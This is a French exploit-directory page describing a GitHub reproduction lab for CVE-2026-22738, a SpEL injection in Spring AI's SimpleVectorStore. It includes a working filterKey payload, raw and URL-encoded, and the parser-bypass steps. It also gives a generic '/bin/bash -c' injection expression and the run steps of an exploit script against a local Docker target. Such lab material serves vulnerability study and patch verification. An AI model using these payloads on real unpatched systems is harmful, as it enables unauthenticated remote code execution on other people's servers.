Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-22738 — Injection SpEL via clé de filtre non échappée dans SimpleVectorStore menant à une exécution de code à distance | Kitploit
Outils/GitHubGitHub/rockmelodies/cve-2026-22738
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesCheval de Troie d'Accès à Distance
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

Injection SpEL via clé de filtre non échappée dans SimpleVectorStore menant à une exécution de code à distance

Voir le dépôt
2117il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Environnement de reproduction CVE-2026-22738

img.png

Description de la vulnérabilité

CVE-2026-22738 est une vulnérabilité d'injection SpEL (Spring Expression Language) dans SimpleVectorStore de Spring AI, permettant une exécution de code à distance (RCE) non authentifiée.

Versions affectées

ArtifactVersions affectéesVersion corrigée
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

Remarque : Ce projet utilise la version officielle spring-ai-core:1.0.0 pour la reproduction de la vulnérabilité.

Commit de correction : ba9220b22383e430d5f801ce8e4fa01cf9e75f29

Principe de la vulnérabilité

La méthode SimpleVectorStore.similaritySearch() transmet le nom de la clé de filtre fournie par l'utilisateur telle quelle au modèle SpEL, qui est ensuite évalué par StandardEvaluationContext. Comme StandardEvaluationContext expose l'API complète de réflexion JVM, un attaquant peut injecter :

T(java.lang.Runtime).getRuntime().exec(...)

en ajoutant la clé de filtre pour réaliser une exécution de commande système non authentifiée.

Reproduction de la vulnérabilité

Utilisez le payload suivant, en notant qu'un encodage URL est nécessaire

"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

Transmettez le payload au paramètre filterKey pour ouvrir la calculatrice avec succès img_1.png

Détails du contournement

La méthode d'injection simple ne fonctionne pas directement — il faut surmonter deux particularités du parseur :

  1. Suppression des guillemets simples — Une clé commençant par un guillemet simple ' est traitée comme une chaîne entre guillemets ; les guillemets externes sont supprimés, ce qui casse le payload.

  2. Enveloppe de guillemets doubles — Envelopper le payload dans des guillemets doubles "..." amène le parseur à supprimer les guillemets doubles externes, conservant ainsi l'expression SpEL interne comme valeur de clé transmise au parseur #metadata['<KEY>'].

  3. Clé de métadonnées vide — L'utilisation de #metadata[''] des deux côtés de l'expression injectée (au lieu d'une variable non définie) évite l'erreur SpEL de variable inconnue tout en déclenchant toujours exec().

L'expression calculée a la forme suivante :

#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

Indicateurs de succès

Le corps de la réponse HTTP contiendra l'erreur d'exécution SpEL EL1030E :

operator ADD not supported between null and java.lang.ProcessImpl

Cette erreur est déclenchée après le retour de exec(), confirmant l'exécution de la commande au niveau du système d'exploitation, sans nécessiter de rappel hors bande.

Configuration de l'environnement

Prérequis

  • Docker et Docker Compose
  • Python 3 + bibliothèque requests (pip install requests)

Construction et exécution de l'environnement vulnérable

# Construire et démarrer les conteneurs
docker compose up -d --build

# Consulter les journaux
docker compose logs -f

Exécution du script d'exploitation

# Installer les dépendances
pip install requests

# Exécuter l'exploitation (attendre le démarrage de l'application)
python3 exploit.py --wait

# Ou spécifier la cible
python3 exploit.py --target http://localhost:8082 --wait

Description des paramètres

OptionValeur par défautDescription
--targethttp://localhost:8082URL de base de l'application vulnérable
--waitdésactivéInterroge jusqu'à ce que la cible soit prête (utile après docker compose up)

Remarque : Docker Desktop (macOS/Windows) utilise host.docker.internal pour les rappels, payload 127.0.0.1.

Étapes d'exploitation

Ce flux de preuve de concept comprend cinq étapes séquentielles :

  1. Vérification de base — Confirme que le point de terminaison est accessible et renvoie des données de départ
  2. Sonde SpEL aveugle — Confirme le point d'injection via la lecture de T(java.lang.System) pour java.version
  3. RCE : touch /tmp/pwned_cve_2026_22738 à l'intérieur du conteneur
  4. RCE : Écriture de la sortie de id // uname // hostname dans /tmp/rce_proof.txt
  5. Vérification : Impression du contenu du fichier de preuve via docker exec

Structure du projet

├── Dockerfile                    # Fichier de construction Docker
├── docker-compose.yml            # Configuration Docker Compose
├── pom.xml                       # Configuration du projet Maven
├── settings.xml                  # Paramètres Maven (inclut les dépôts Spring)
├── exploit.py                    # Script d'exploitation
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Classe principale Spring Boot
    ├── VulnController.java           # Contrôleur vulnérable
    ├── VectorStoreConfig.java        # Configuration VectorStore
    └── DummyEmbeddingModel.java      # Modèle d'embedding simulé

Test local (sans Docker)

# Compiler le projet
mvn clean package -DskipTests

# Exécuter l'application
java -jar target/spel-rce-lab-1.0.0.jar

# Exécuter l'exploitation dans un autre terminal
python3 exploit.py --target http://localhost:8082

Références

  • CVE-2026-22738
  • Commit de correction Spring AI
  • Projet PoC original
Télécharger l’outil